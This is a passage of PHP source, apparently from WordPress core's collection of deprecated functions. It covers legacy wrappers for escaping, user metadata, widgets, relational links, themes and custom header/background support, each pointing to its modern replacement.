	if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) )
		return false;

	list($src, $src_file) = $src;

	// Do we need to constrain the image?
	if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) {

		$imagesize = wp_getimagesize($src_file);

		if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) {
			$actual_aspect = $imagesize[0] / $imagesize[1];
			$desired_aspect = $max_dims[0] / $max_dims[1];

			if ( $actual_aspect >= $desired_aspect ) {
				$height = $actual_aspect * $max_dims[0];
				$constraint = "width='{$max_dims[0]}' ";
				$post->iconsize = array($max_dims[0], $height);
			} else {
				$width = $max_dims[1] / $actual_aspect;
				$constraint = "height='{$max_dims[1]}' ";
				$post->iconsize = array($width, $max_dims[1]);
			}
		} else {
			$post->iconsize = array($imagesize[0], $imagesize[1]);
			$constraint = '';
		}
	} else {
		$constraint = '';
	}

	$post_title = esc_attr($post->post_title);

	$icon = "<img src='$src' title='$post_title' alt='$post_title' $constraint/>";

	return apply_filters( 'attachment_icon', $icon, $post->ID );
}

/**
 * Retrieve HTML content of image element.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_image()
 * @see wp_get_attachment_image()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to have full size image. Default false.
 * @param array $max_dims Optional. Dimensions of image.
 * @return string|false
 */
function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

	if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims))
		return $innerHTML;

	$innerHTML = esc_attr($post->post_title);

	return apply_filters('attachment_innerHTML', $innerHTML, $post->ID);
}

/**
 * Retrieves bookmark data based on ID.
 *
 * @since 2.0.0
 * @deprecated 2.1.0 Use get_bookmark()
 * @see get_bookmark()
 *
 * @param int    $bookmark_id ID of link
 * @param string $output      Optional. Type of output. Accepts OBJECT, ARRAY_N, or ARRAY_A.
 *                            Default OBJECT.
 * @param string $filter      Optional. How to filter the link for output. Accepts 'raw', 'edit',
 *                            'attribute', 'js', 'db', or 'display'. Default 'raw'.
 * @return object|array Bookmark object or array, depending on the type specified by `$output`.
 */
function get_link( $bookmark_id, $output = OBJECT, $filter = 'raw' ) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmark()' );
	return get_bookmark($bookmark_id, $output, $filter);
}

/**
 * Checks and cleans a URL.
 *
 * A number of characters are removed from the URL. If the URL is for displaying
 * (the default behavior) ampersands are also replaced. The 'clean_url' filter
 * is applied to the returned cleaned URL.
 *
 * @since 1.2.0
 * @deprecated 3.0.0 Use esc_url()
 * @see esc_url()
 *
 * @param string $url The URL to be cleaned.
 * @param array $protocols Optional. An array of acceptable protocols.
 * @param string $context Optional. How the URL will be used. Default is 'display'.
 * @return string The cleaned $url after the {@see 'clean_url'} filter is applied.
 */
function clean_url( $url, $protocols = null, $context = 'display' ) {
	if ( $context == 'db' )
		_deprecated_function( 'clean_url( $context = \'db\' )', '3.0.0', 'sanitize_url()' );
	else
		_deprecated_function( __FUNCTION__, '3.0.0', 'esc_url()' );
	return esc_url( $url, $protocols, $context );
}

/**
 * Escape single quotes, specialchar double quotes, and fix line endings.
 *
 * The filter {@see 'js_escape'} is also applied by esc_js().
 *
 * @since 2.0.4
 * @deprecated 2.8.0 Use esc_js()
 * @see esc_js()
 *
 * @param string $text The text to be escaped.
 * @return string Escaped text.
 */
function js_escape( $text ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_js()' );
	return esc_js( $text );
}

/**
 * Legacy escaping for HTML blocks.
 *
 * @deprecated 2.8.0 Use esc_html()
 * @see esc_html()
 *
 * @param string       $text          Text to escape.
 * @param string       $quote_style   Unused.
 * @param false|string $charset       Unused.
 * @param false        $double_encode Whether to double encode. Unused.
 * @return string Escaped `$text`.
 */
function wp_specialchars( $text, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_html()' );
	if ( func_num_args() > 1 ) { // Maintain back-compat for people passing additional arguments.
		return _wp_specialchars( $text, $quote_style, $charset, $double_encode );
	} else {
		return esc_html( $text );
	}
}

/**
 * Escaping for HTML attributes.
 *
 * @since 2.0.6
 * @deprecated 2.8.0 Use esc_attr()
 * @see esc_attr()
 *
 * @param string $text
 * @return string
 */
function attribute_escape( $text ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_attr()' );
	return esc_attr( $text );
}

/**
 * Register widget for sidebar with backward compatibility.
 *
 * Allows $name to be an array that accepts either three elements to grab the
 * first element and the third for the name or just uses the first element of
 * the array for the name.
 *
 * Passes to wp_register_sidebar_widget() after argument list and backward
 * compatibility is complete.
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_register_sidebar_widget()
 * @see wp_register_sidebar_widget()
 *
 * @param string|int $name            Widget ID.
 * @param callable   $output_callback Run when widget is called.
 * @param string     $classname       Optional. Classname widget option. Default empty.
 * @param mixed      ...$params       Widget parameters.
 */
function register_sidebar_widget($name, $output_callback, $classname = '', ...$params) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_sidebar_widget()' );
	// Compat.
	if ( is_array( $name ) ) {
		if ( count( $name ) === 3 ) {
			$name = sprintf( $name[0], $name[2] );
		} else {
			$name = $name[0];
		}
	}

	$id      = sanitize_title( $name );
	$options = array();
	if ( ! empty( $classname ) && is_string( $classname ) ) {
		$options['classname'] = $classname;
	}

	wp_register_sidebar_widget( $id, $name, $output_callback, $options, ...$params );
}

/**
 * Serves as an alias of wp_unregister_sidebar_widget().
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_unregister_sidebar_widget()
 * @see wp_unregister_sidebar_widget()
 *
 * @param int|string $id Widget ID.
 */
function unregister_sidebar_widget($id) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_sidebar_widget()' );
	return wp_unregister_sidebar_widget($id);
}

/**
 * Registers widget control callback for customizing options.
 *
 * Allows $name to be an array that accepts either three elements to grab the
 * first element and the third for the name or just uses the first element of
 * the array for the name.
 *
 * Passes to wp_register_widget_control() after the argument list has
 * been compiled.
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_register_widget_control()
 * @see wp_register_widget_control()
 *
 * @param int|string $name             Sidebar ID.
 * @param callable   $control_callback Widget control callback to display and process form.
 * @param int        $width            Widget width.
 * @param int        $height           Widget height.
 * @param mixed      ...$params        Widget parameters.
 */
function register_widget_control($name, $control_callback, $width = '', $height = '', ...$params) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_widget_control()' );
	// Compat.
	if ( is_array( $name ) ) {
		if ( count( $name ) === 3 ) {
			$name = sprintf( $name[0], $name[2] );
		} else {
			$name = $name[0];
		}
	}

	$id      = sanitize_title( $name );
	$options = array();
	if ( ! empty( $width ) ) {
		$options['width'] = $width;
	}
	if ( ! empty( $height ) ) {
		$options['height'] = $height;
	}

	wp_register_widget_control( $id, $name, $control_callback, $options, ...$params );
}

/**
 * Alias of wp_unregister_widget_control().
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_unregister_widget_control()
 * @see wp_unregister_widget_control()
 *
 * @param int|string $id Widget ID.
 */
function unregister_widget_control($id) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_widget_control()' );
	return wp_unregister_widget_control($id);
}

/**
 * Remove user meta data.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use delete_user_meta()
 * @see delete_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @param string $meta_key Metadata key.
 * @param mixed $meta_value Optional. Metadata value. Default empty.
 * @return bool True deletion completed and false if user_id is not a number.
 */
function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'delete_user_meta()' );
	global $wpdb;
	if ( !is_numeric( $user_id ) )
		return false;
	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);

	if ( is_array($meta_value) || is_object($meta_value) )
		$meta_value = serialize($meta_value);
	$meta_value = trim( $meta_value );

	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	if ( $cur && $cur->umeta_id )
		do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	if ( ! empty($meta_value) )
		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) );
	else
		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	clean_user_cache( $user_id );
	wp_cache_delete( $user_id, 'user_meta' );

	if ( $cur && $cur->umeta_id )
		do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	return true;
}

/**
 * Retrieve user metadata.
 *
 * If $user_id is not a number, then the function will fail over with a 'false'
 * boolean return value. Other returned values depend on whether there is only
 * one item to be returned, which be that single item type. If there is more
 * than one metadata value, then it will be list of metadata values.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use get_user_meta()
 * @see get_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID
 * @param string $meta_key Optional. Metadata key. Default empty.
 * @return mixed
 */
function get_usermeta( $user_id, $meta_key = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'get_user_meta()' );
	global $wpdb;
	$user_id = (int) $user_id;

	if ( !$user_id )
		return false;

	if ( !empty($meta_key) ) {
		$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
		$user = wp_cache_get($user_id, 'users');
		// Check the cached user object.
		if ( false !== $user && isset($user->$meta_key) )
			$metas = array($user->$meta_key);
		else
			$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
	} else {
		$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) );
	}

	if ( empty($metas) ) {
		if ( empty($meta_key) )
			return array();
		else
			return '';
	}

	$metas = array_map('maybe_unserialize', $metas);

	if ( count($metas) === 1 )
		return $metas[0];
	else
		return $metas;
}

/**
 * Update metadata of user.
 *
 * There is no need to serialize values, they will be serialized if it is
 * needed. The metadata key can only be a string with underscores. All else will
 * be removed.
 *
 * Will remove the metadata, if the meta value is empty.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use update_user_meta()
 * @see update_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID
 * @param string $meta_key Metadata key.
 * @param mixed $meta_value Metadata value.
 * @return bool True on successful update, false on failure.
 */
function update_usermeta( $user_id, $meta_key, $meta_value ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'update_user_meta()' );
	global $wpdb;
	if ( !is_numeric( $user_id ) )
		return false;
	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);

	/** @todo Might need fix because usermeta data is assumed to be already escaped */
	if ( is_string($meta_value) )
		$meta_value = stripslashes($meta_value);
	$meta_value = maybe_serialize($meta_value);

	if (empty($meta_value)) {
		return delete_usermeta($user_id, $meta_key);
	}

	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	if ( $cur )
		do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	if ( !$cur )
		$wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') );
	elseif ( $cur->meta_value != $meta_value )
		$wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') );
	else
		return false;

	clean_user_cache( $user_id );
	wp_cache_delete( $user_id, 'user_meta' );

	if ( !$cur )
		do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value );
	else
		do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	return true;
}

/**
 * Get users for the site.
 *
 * For setups that use the multisite feature. Can be used outside of the
 * multisite feature.
 *
 * @since 2.2.0
 * @deprecated 3.1.0 Use get_users()
 * @see get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id Site ID.
 * @return array List of users that are part of that site ID
 */
function get_users_of_blog( $id = '' ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;
	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}
	$blog_prefix = $wpdb->get_blog_prefix($id);
	$users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$blog_prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" );
	return $users;
}

/**
 * Enable/disable automatic general feed link outputting.
 *
 * @since 2.8.0
 * @deprecated 3.0.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param bool $add Optional. Add or remove links. Default true.
 */
function automatic_feed_links( $add = true ) {
	_deprecated_function( __FUNCTION__, '3.0.0', "add_theme_support( 'automatic-feed-links' )" );

	if ( $add )
		add_theme_support( 'automatic-feed-links' );
	else
		remove_action( 'wp_head', 'feed_links_extra', 3 ); // Just do this yourself in 3.0+.
}

/**
 * Retrieve user data based on field.
 *
 * @since 1.5.0
 * @deprecated 3.0.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @param string    $field User meta field.
 * @param false|int $user  Optional. User ID to retrieve the field for. Default false (current user).
 * @return string The author's field from the current author's DB object.
 */
function get_profile( $field, $user = false ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'get_the_author_meta()' );
	if ( $user ) {
		$user = get_user_by( 'login', $user );
		$user = $user->ID;
	}
	return get_the_author_meta( $field, $user );
}

/**
 * Retrieves the number of posts a user has written.
 *
 * @since 0.71
 * @deprecated 3.0.0 Use count_user_posts()
 * @see count_user_posts()
 *
 * @param int $userid User to count posts for.
 * @return int Number of posts the given user has written.
 */
function get_usernumposts( $userid ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'count_user_posts()' );
	return count_user_posts( $userid );
}

/**
 * Callback used to change %uXXXX to &#YYY; syntax
 *
 * @since 2.8.0
 * @access private
 * @deprecated 3.0.0
 *
 * @param array $matches Single Match
 * @return string An HTML entity
 */
function funky_javascript_callback($matches) {
	return "&#".base_convert($matches[1],16,10).";";
}

/**
 * Fixes JavaScript bugs in browsers.
 *
 * Converts unicode characters to HTML numbered entities.
 *
 * @since 1.5.0
 * @deprecated 3.0.0
 *
 * @global $is_macIE
 * @global $is_winIE
 *
 * @param string $text Text to be made safe.
 * @return string Fixed text.
 */
function funky_javascript_fix($text) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	// Fixes for browsers' JavaScript bugs.
	global $is_macIE, $is_winIE;

	if ( $is_winIE || $is_macIE )
		$text =  preg_replace_callback("/\%u([0-9A-F]{4,4})/",
					"funky_javascript_callback",
					$text);

	return $text;
}

/**
 * Checks that the taxonomy name exists.
 *
 * @since 2.3.0
 * @deprecated 3.0.0 Use taxonomy_exists()
 * @see taxonomy_exists()
 *
 * @param string $taxonomy Name of taxonomy object
 * @return bool Whether the taxonomy exists.
 */
function is_taxonomy( $taxonomy ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'taxonomy_exists()' );
	return taxonomy_exists( $taxonomy );
}

/**
 * Check if Term exists.
 *
 * @since 2.3.0
 * @deprecated 3.0.0 Use term_exists()
 * @see term_exists()
 *
 * @param int|string $term The term to check
 * @param string $taxonomy The taxonomy name to use
 * @param int $parent ID of parent term under which to confine the exists search.
 * @return mixed Get the term ID or term object, if exists.
 */
function is_term( $term, $taxonomy = '', $parent = 0 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'term_exists()' );
	return term_exists( $term, $taxonomy, $parent );
}

/**
 * Determines whether the current admin page is generated by a plugin.
 *
 * Use global $plugin_page and/or get_plugin_page_hookname() hooks.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 * @deprecated 3.1.0
 *
 * @global $plugin_page
 *
 * @return bool
 */
function is_plugin_page() {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	global $plugin_page;

	if ( isset($plugin_page) )
		return true;

	return false;
}

/**
 * Update the categories cache.
 *
 * This function does not appear to be used anymore or does not appear to be
 * needed. It might be a legacy function left over from when there was a need
 * for updating the category cache.
 *
 * @since 1.5.0
 * @deprecated 3.1.0
 *
 * @return bool Always return True
 */
function update_category_cache() {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return true;
}

/**
 * Check for PHP timezone support
 *
 * @since 2.9.0
 * @deprecated 3.2.0
 *
 * @return bool
 */
function wp_timezone_supported() {
	_deprecated_function( __FUNCTION__, '3.2.0' );

	return true;
}

/**
 * Displays an editor: TinyMCE, HTML, or both.
 *
 * @since 2.1.0
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 *
 * @param string $content       Textarea content.
 * @param string $id            Optional. HTML ID attribute value. Default 'content'.
 * @param string $prev_id       Optional. Unused.
 * @param bool   $media_buttons Optional. Whether to display media buttons. Default true.
 * @param int    $tab_index     Optional. Unused.
 * @param bool   $extended      Optional. Unused.
 */
function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2, $extended = true) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );

	wp_editor( $content, $id, array( 'media_buttons' => $media_buttons ) );
}

/**
 * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users
 *
 * @since 3.0.0
 * @deprecated 3.3.0
 *
 * @param array $ids User ID numbers list.
 * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays.
 */
function get_user_metavalues($ids) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$objects = array();

	$ids = array_map('intval', $ids);
	foreach ( $ids as $id )
		$objects[$id] = array();

	$metas = update_meta_cache('user', $ids);

	foreach ( $metas as $id => $meta ) {
		foreach ( $meta as $key => $metavalues ) {
			foreach ( $metavalues as $value ) {
				$objects[$id][] = (object)array( 'user_id' => $id, 'meta_key' => $key, 'meta_value' => $value);
			}
		}
	}

	return $objects;
}

/**
 * Sanitize every user field.
 *
 * If the context is 'raw', then the user object or array will get minimal sanitization of the int fields.
 *
 * @since 2.3.0
 * @deprecated 3.3.0
 *
 * @param object|array $user    The user object or array.
 * @param string       $context Optional. How to sanitize user fields. Default 'display'.
 * @return object|array The now sanitized user object or array (will be the same type as $user).
 */
function sanitize_user_object($user, $context = 'display') {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	if ( is_object($user) ) {
		if ( !isset($user->ID) )
			$user->ID = 0;
		if ( ! ( $user instanceof WP_User ) ) {
			$vars = get_object_vars($user);
			foreach ( array_keys($vars) as $field ) {
				if ( is_string($user->$field) || is_numeric($user->$field) )
					$user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context);
			}
		}
		$user->filter = $context;
	} else {
		if ( !isset($user['ID']) )
			$user['ID'] = 0;
		foreach ( array_keys($user) as $field )
			$user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context);
		$user['filter'] = $context;
	}

	return $user;
}

/**
 * Get boundary post relational link.
 *
 * Can either be start or end post relational link.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title               Optional. Link title format. Default '%title'.
 * @param bool   $in_same_cat         Optional. Whether link should be in a same category.
 *                                    Default false.
 * @param string $excluded_categories Optional. Excluded categories IDs. Default empty.
 * @param bool   $start               Optional. Whether to display link to first or last post.
 *                                    Default true.
 * @return string
 */
function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$posts = get_boundary_post($in_same_cat, $excluded_categories, $start);
	// If there is no post, stop.
	if ( empty($posts) )
		return;

	// Even though we limited get_posts() to return only 1 item it still returns an array of objects.
	$post = $posts[0];

	if ( empty($post->post_title) )
		$post->post_title = $start ? __('First Post') : __('Last Post');

	$date = mysql2date(get_option('date_format'), $post->post_date);

	$title = str_replace('%title', $post->post_title, $title);
	$title = str_replace('%date', $date, $title);
	$title = apply_filters('the_title', $title, $post->ID);

	$link = $start ? "<link rel='start' title='" : "<link rel='end' title='";
	$link .= esc_attr($title);
	$link .= "' href='" . get_permalink($post) . "' />\n";

	$boundary = $start ? 'start' : 'end';
	return apply_filters( "{$boundary}_post_rel_link", $link );
}

/**
 * Display relational link for the first post.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title Optional. Link title format.
 * @param bool $in_same_cat Optional. Whether link should be in a same category.
 * @param string $excluded_categories Optional. Excluded categories IDs.
 */
function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true);
}

/**
 * Get site index relational link.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @return string
 */
function get_index_rel_link() {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$link = "<link rel='index' title='" . esc_attr( get_bloginfo( 'name', 'display' ) ) . "' href='" . esc_url( user_trailingslashit( get_bloginfo( 'url', 'display' ) ) ) . "' />\n";
	return apply_filters( "index_rel_link", $link );
}

/**
 * Display relational link for the site index.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 */
function index_rel_link() {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_index_rel_link();
}

/**
 * Get parent post relational link.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @global WP_Post $post Global post object.
 *
 * @param string $title Optional. Link title format. Default '%title'.
 * @return string
 */
function get_parent_post_rel_link( $title = '%title' ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) )
		$post = get_post($GLOBALS['post']->post_parent);

	if ( empty($post) )
		return;

	$date = mysql2date(get_option('date_format'), $post->post_date);

	$title = str_replace('%title', $post->post_title, $title);
	$title = str_replace('%date', $date, $title);
	$title = apply_filters('the_title', $title, $post->ID);

	$link = "<link rel='up' title='";
	$link .= esc_attr( $title );
	$link .= "' href='" . get_permalink($post) . "' />\n";

	return apply_filters( "parent_post_rel_link", $link );
}

/**
 * Display relational link for parent item
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 *
 * @param string $title Optional. Link title format. Default '%title'.
 */
function parent_post_rel_link( $title = '%title' ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	echo get_parent_post_rel_link($title);
}

/**
 * Add the "Dashboard"/"Visit Site" menu.
 *
 * @since 3.2.0
 * @deprecated 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance.
 */
function wp_admin_bar_dashboard_view_site_menu( $wp_admin_bar ) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$user_id = get_current_user_id();

	if ( 0 != $user_id ) {
		if ( is_admin() )
			$wp_admin_bar->add_menu( array( 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url() ) );
		elseif ( is_multisite() )
			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => get_dashboard_url( $user_id ) ) );
		else
			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url() ) );
	}
}

/**
 * Checks if the current user belong to a given site.
 *
 * @since MU (3.0.0)
 * @deprecated 3.3.0 Use is_user_member_of_blog()
 * @see is_user_member_of_blog()
 *
 * @param int $blog_id Site ID
 * @return bool True if the current users belong to $blog_id, false if not.
 */
function is_blog_user( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'is_user_member_of_blog()' );

	return is_user_member_of_blog( get_current_user_id(), $blog_id );
}

/**
 * Open the file handle for debugging.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param string $filename File name.
 * @param string $mode     Type of access you required to the stream.
 * @return false Always false.
 */
function debug_fopen( $filename, $mode ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
	return false;
}

/**
 * Write contents to the file used for debugging.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param mixed  $fp      Unused.
 * @param string $message Message to log.
 */
function debug_fwrite( $fp, $message ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
	if ( ! empty( $GLOBALS['debug'] ) )
		error_log( $message );
}

/**
 * Close the debugging file handle.
 *
 * @since 0.71
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @link https://www.php.net/manual/en/function.error-log.php
 *
 * @param mixed $fp Unused.
 */
function debug_fclose( $fp ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
}

/**
 * Retrieve list of themes with theme data in theme directory.
 *
 * The theme is broken, if it doesn't have a parent theme and is missing either
 * style.css and, or index.php. If the theme has a parent theme then it is
 * broken, if it is missing style.css; index.php is optional.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return array Theme list with theme data.
 */
function get_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_themes()' );

	global $wp_themes;
	if ( isset( $wp_themes ) )
		return $wp_themes;

	$themes = wp_get_themes();
	$wp_themes = array();

	foreach ( $themes as $theme ) {
		$name = $theme->get('Name');
		if ( isset( $wp_themes[ $name ] ) )
			$wp_themes[ $name . '/' . $theme->get_stylesheet() ] = $theme;
		else
			$wp_themes[ $name ] = $theme;
	}

	return $wp_themes;
}

/**
 * Retrieve theme data.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @param string $theme Theme name.
 * @return array|null Null, if theme name does not exist. Theme data, if exists.
 */
function get_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme( $stylesheet )' );

	$themes = get_themes();
	if ( is_array( $themes ) && array_key_exists( $theme, $themes ) )
		return $themes[ $theme ];
	return null;
}

/**
 * Retrieve current theme name.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @return string
 */
function get_current_theme() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );

	if ( $theme = get_option( 'current_theme' ) )
		return $theme;

	return wp_get_theme()->get('Name');
}

/**
 * Accepts matches array from preg_replace_callback in wpautop() or a string.
 *
 * Ensures that the contents of a `<pre>...</pre>` HTML block are not
 * converted into paragraphs or line breaks.
 *
 * @since 1.2.0
 * @deprecated 3.4.0
 *
 * @param array|string $matches The array or string
 * @return string The pre block without paragraph/line break conversion.
 */
function clean_pre($matches) {
	_deprecated_function( __FUNCTION__, '3.4.0' );

	if ( is_array($matches) )
		$text = $matches[1] . $matches[2] . "</pre>";
	else
		$text = $matches;

	$text = str_replace(array('<br />', '<br/>', '<br>'), array('', '', ''), $text);
	$text = str_replace('<p>', "\n", $text);
	$text = str_replace('</p>', '', $text);

	return $text;
}


/**
 * Add callbacks for image header display.
 *
 * @since 2.1.0
 * @deprecated 3.4.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
 * @param callable $admin_head_callback Call on custom header administration screen.
 * @param callable $admin_preview_callback Output a custom header image div on the custom header administration screen. Optional.
 */
function add_custom_image_header( $wp_head_callback, $admin_head_callback, $admin_preview_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-header\', $args )' );
	$args = array(
		'wp-head-callback'    => $wp_head_callback,
		'admin-head-callback' => $admin_head_callback,
	);
	if ( $admin_preview_callback )
		$args['admin-preview-callback'] = $admin_preview_callback;
	return add_theme_support( 'custom-header', $args );
}

/**
 * Remove image header support.
 *
 * @since 3.1.0
 * @deprecated 3.4.0 Use remove_theme_support()
 * @see remove_theme_support()
 *
 * @return null|bool Whether support was removed.
 */
function remove_custom_image_header() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-header\' )' );
	return remove_theme_support( 'custom-header' );
}

/**
 * Add callbacks for background image display.
 *
 * @since 3.0.0
 * @deprecated 3.4.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
 * @param callable $admin_head_callback Call on custom background administration screen.
 * @param callable $admin_preview_callback Output a custom background image div on the custom background administration screen. Optional.
 */
function add_custom_background( $wp_head_callback = '', $admin_head_callback = '', $admin_preview_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-background\', $args )' );
	$args = array();
	if ( $wp_head_callback )
		$args['wp-head-callback'] = $wp_head_callback;
	if ( $admin_head_callback )
		$args['admin-head-callback'] = $admin_head_callback;
	if ( $admin_preview_callback )
		$args['admin-preview-callback'] = $admin_preview_callback;
	return add_theme_support( 'custom-background', $args );
}

/**
 * Remove custom background support.
 *
 * @since 3.1.0
